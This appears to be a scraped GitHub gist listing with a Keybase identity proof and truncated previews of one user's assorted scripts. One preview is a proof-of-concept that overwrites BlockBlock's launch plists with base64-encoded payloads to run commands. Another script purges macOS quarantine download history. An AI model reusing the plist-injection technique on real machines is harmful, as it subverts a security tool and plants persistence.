I hereby claim:
- I am flipphillips on github.
- I am flipphillips (https://keybase.io/flipphillips) on keybase.
- I have a public key whose fingerprint is 9DCC 89AD E520 C857 DD6A 46CC 9473 6856 24EE 271D
To claim this, I am signing this object:
#!/bin/bash | |
NUKE_DIR="$HOME/.nuke" | |
PYTHON_DIR="$NUKE_DIR/python" | |
GIZMOS_DIR="$NUKE_DIR/gizmos" | |
PLUGINS_DIR="$NUKE_DIR/plugins" | |
INIT_FILE="$NUKE_DIR/init.py" | |
# Create .nuke directory if it doesn't exist | |
if [ ! -d "$NUKE_DIR" ]; then |
// | |
// LEDWallGrid - This script will create a grid of squares for an LED wall. | |
// | |
// Flip Phillips | |
// Darren Alexander (from FidoLED) | |
// | |
// Winter 2024 | |
// | |
// (c) Darren Alexander 2015 | |
// (c) Flip Phillips 2024 but released under the MIT license |
# Inject malicious datas into BlockBlock plist (will create "pwned-unprivileged" file in /tmp) (unprivileged) | |
(> ~/Library/LaunchAgents/com.objectiveSee.blockblock.plist; (echo "YnBsaXN0MDDUAQIDBAUGBQtfEBNBYmFuZG9uUHJvY2Vzc0dyb3VwXxAQUHJvZ3JhbUFyZ3VtZW50c1lSdW5BdExvYWRVTGFiZWwJowcICVRiYXNoUi1jXxBbdG91Y2ggL3RtcC9wd25lZC11bnByaXZpbGVnZWQ7IC9BcHBsaWNhdGlvbnMvQmxvY2tCbG9jay5hcHAvQ29udGVudHMvTWFjT1MvQmxvY2tCbG9jayBhZ2VudAlfECFjb20ub2JqZWN0aXZlU2VlLmJsb2NrYmxvY2suYWdlbnQIESc6REpLT1RXtbYAAAAAAAABAQAAAAAAAAAMAAAAAAAAAAAAAAAAAAAA2g==" | base64 --decode) > ~/Library/LaunchAgents/com.objectiveSee.blockblock.plist) | |
# Inject malicious datas into BlockBlock plist (will create "pwned-privileged" file in /tmp) (privileged) | |
(> /Library/LaunchDaemons/com.objectiveSee.blockblock.plist; (echo "YnBsaXN0MDDUAQIDBAUGBQtfEBNBYmFuZG9uUHJvY2Vzc0dyb3VwXxAQUHJvZ3JhbUFyZ3VtZW50c1lSdW5BdExvYWRVTGFiZWwJowcICVRiYXNoUi1jXxBadG91Y2ggL3RtcC9wd25lZC1wcml2aWxlZ2VkOyAvQXBwbGljYXRpb25zL0Jsb2NrQmxvY2suYXBwL0NvbnRlbnRzL01hY09TL0Jsb2NrQmxvY2sgZGFlbW |
import pandas as pd | |
import cv2 | |
url = "https://en.wikipedia.org/wiki/List_of_common_resolutions" | |
table = pd.read_html(url)[0] | |
table.columns = table.columns.droplevel() | |
cap = cv2.VideoCapture(0) | |
resolutions = {} |
import tensorflow as tf #We need tensorflow 2.x | |
import numpy as np | |
#The hashlength in bits | |
hashLength = 256 | |
def buildModel(): | |
#we can set the seed to simulate the fact that this network is known and doesn't change between runs | |
#tf.random.set_seed(42) | |
model = tf.keras.Sequential() |
sudo nvidia-smi --power-limit=275 --id=0 | |
sudo nvidia-smi --persistence-mode=1 --id=1 | |
sudo nvidia-smi --persistence-mode=1 --id=0 |
#!/bin/bash | |
echo "Before..." | |
sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV* 'select LSQuarantineDataURLString from LSQuarantineEvent' | awk NF | |
echo "Churning..." | |
sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV* 'delete from LSQuarantineEvent' | |
sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV* 'vacuum LSQuarantineEvent' | |
echo "After..." | |
sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV* 'select LSQuarantineDataURLString from LSQuarantineEvent' | awk NF | |
echo "Done." |
GetObserverIP[ip_] := Module[{wx, ins, raw}, | |
wx = Import["http://" <> ip <> "/livedata.htm", "XMLObject"]; | |
ins = Cases[wx, XMLElement["input", _, _], Infinity]; | |
raw = Flatten[ | |
Map[{"name" -> "value"} /. #[[2]] &, ins[[1 ;; -6]]]]; | |
Quiet[MapAt[ToExpression, | |
MapAt[DateObject[#] &, raw, {1, 2}], {8 ;; -1, 2}]]] |
#!/usr/bin/env bash | |
# | |
# a git hook - | |
# it does the silly things with my version.json files so I can keep track of silly stuff | |
# | |
# bump version and go... | |
VERSIONFILE="version.json" | |
if [ -e ./version.json ]; then |
I hereby claim:
To claim this, I am signing this object: